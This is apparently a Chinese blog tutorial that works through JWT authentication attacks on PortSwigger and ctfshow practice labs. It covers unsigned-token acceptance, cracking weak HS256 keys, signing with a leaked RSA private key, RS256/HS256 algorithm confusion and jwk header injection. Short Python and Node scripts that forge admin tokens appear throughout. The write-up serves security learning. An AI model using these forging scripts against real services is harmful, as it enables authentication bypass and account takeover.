当前位置: 首页 > news >正文

jwt身份验证和基本的利用方式

前言 :

什么是jwt(json web token)? 看看英文单词的意思就是  json形式的token

他的基本的特征 :

类似于这样的 他有2个点 分割  

解码的时候会有三个部分 

头部 payload 对称密钥     这个就是对称加密

头部:标明了  需要进行加密的方式是什么(一般就是对称加密 =》 SH256 和 非对称加密 =》RH256)

这些都叫 alg头 (算法头) 当然还有一些typ, kid等

中间的就是要加密的内容 需要是json形式的;

尾部是签证 主要就是利用密钥进行加密: 主要是  jwt.encode(payload,alg,key)

插件的使用:

burp自带

需要导入的插件 :

https://github.com/CompassSecurity/jwt-scanner

打靶 burp靶场:

1、无签证的 jwt 验证

实验:通过未经验证的签名绕过 JWT 身份验证 |网络安全学院

访问靶场   插件会自动的检测

这里就有个牛13插件  jwt-scan    https://github.com/CompassSecurity/jwt-scanner

演示 : 

也可以直接识别到  对方jwt的基本特征

当然你如果不信插件可以看特征

进行解密

发现是很全面的  这个漏洞主要出在后端没有接受 jwt的签证验证 这个密钥就是吓唬你的  直接改数据就行 这些参数时 payloa的的 

iss :jwt的签发者

exp : 发布的时间戳

sub : jwt面向的用户

改一下访问后台

2、第二个有缺陷的签名认证

3、第三关  对称加密的缺陷

使用工具 :https://github.com/ticarpi/jwt_tool

使用方法   

python ./jwt_tool jwt数据 -C -d +字典

-C 是只让其显示正确的 key

使用插件验证一下   

然后知道密钥之后我们就可以重新生成一个jwt密文 

使用脚本 :

pip install PyJWT==1.7.1  先进行下载库 如果没有这个版本可以不加版本号import jwt    //导入库
payload={"user":"administrator"}   //设置荷载
key = 'secret1'     //设置 秘钥
print(jwt.encode(payload, key, algorithm='HS256'))   //进行加密

脚本还是要会写的 因为这个jwt的操作比较少

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW5pc3RyYXRvciJ9.rLCBnvGEPxuOK2GeDFmK-xuIf05CiVlfjwjmGmoLKzk

使用这个jwt进行登录

4、第四个实验

ctfshow 349

RH加密但是私/公钥泄露  

审计一下

我们知道了逻辑是 私钥加密公钥解密  但是有一点就是非对称:私钥加密就一定可以解码 实际上我们只要知道泄露的私钥其实就能进行解密了

也是上面的脚本修改一下

import jwt
payload={"user":"admin"}
key =open('./private.key').read()
print(jwt.encode(payload, key, algorithm='RS256'))
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU

使用这个进行访问

是 router的问题啊是post请求   右键进行修改

ctfshow{a57a1ea7-eb92-4a7e-8d05-3959e800db95}

5、第五个实验 解密算法模式配置的错误导致可以使用对称加密进行加解密

ctfshow 350 :

看一下源码 发现  私钥是丢失的 : 但是我们看一下   alg是直接写的 cert

cert是读取的公钥   这个公钥我们是有的  但是他没有写模式

所以我们完全可以使用 sh256 进行混淆

使用脚本重新进行加密

var jwt = require('jsonwebtoken');  //jwt 库
var fs = require('fs');   //文件管理库
var privateKey = fs.readFileSync('./public.key');  
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

使用脚本生成jwt然后访问就行了

6、第六关:  jwk绕过实现越权

什么是jwk?JSON Web Key  就是对jwk加密的密钥的描述

结构

json
{"kty": "RSA",            // 密钥类型(RSA/EC/oct等)"use": "sig",            // 用途:签名(sig)或加密(enc)"kid": "2023-rsa-key",   // 密钥唯一标识(用于匹配 JWT 头部的 kid)"alg": "RS256",          // 算法"n": "modulus-value",    // RSA 模数(Base64URL 编码)"e": "exponent-value"    // RSA 指数(Base64URL 编码)
}

还有一个就是jku?JWK Set URL  简单的说就是把加密的方式和密钥放到url地址 访问来实现的

实验:通过 jwk 标头注入绕过 JWT 身份验证 |网络安全学院

开始打靶 : 抓包发到  jwtscan上去

识别出来时 jwk头注入 从特征其实也看出来了  就是这个kid   然后:

点击攻击 :然后选择第一个选项

点击确定 点一下sign进行和前面的同步

发包进行了跳转 (3开头)

相关文章:

  • Air8101开发板实战指南:快速上手MP4视频录制与SD卡存储系统!
  • 华为昇腾CANN架构
  • MySQL——数据库基础操作
  • 使用 Microsoft 365 Copilot 上传手机图片,实现更高效的信息提取
  • Qwen3 性价比新王 Qwen3-30B-A3B 本地私有化部署,可灵活切换思考模式
  • 手机SIM卡打电话时识别对方按下的DTMF按键(二)
  • conda配置好的pytorch在jupyter中如何配置
  • 代码异味(Code Smell)识别与重构指南
  • ARM子程序和栈
  • 互联网大厂Java求职面试:AI大模型与云原生架构设计深度解析
  • 项目实战-基于信号处理与SVM机器学习的声音情感识别系统
  • 基于Boost库、Jsoncpp、cppjieba、cpp-httplib等构建Boost搜索引擎
  • Python生活手册-正则表达式:从快递单到咖啡订单的文本魔法
  • 25:三大分类器原理
  • 004-nlohmann/json 快速认识-C++开源库108杰
  • 期末项目Python
  • [特殊字符]Git 操作实战:如何将本地项目提交到远程 Gitee 仓库
  • Windows11 VS code 安装 Cline 调用 Github MCP 配置过程坑点汇总
  • 【platform push 提示 Invalid source ref: HEAD】
  • 青听音乐 1.0.6| 全网音乐免费听,无损下载,4条音源,界面简洁无广告
  • 计划招录2577人,“国考”补录8日开始报名
  • 降准又降息!央行发布3类10项措施
  • 潘功胜:降准0.5个百分点,降低政策利率0.1个百分点
  • 山大齐鲁医院回应论文现“男性确诊子宫肌瘤”:给予该护士记过处分、降级处理
  • 伊朗公布新型弹道导弹,“萨德”系统无法拦截
  • 日本政府强烈反对美关税政策并要求其取消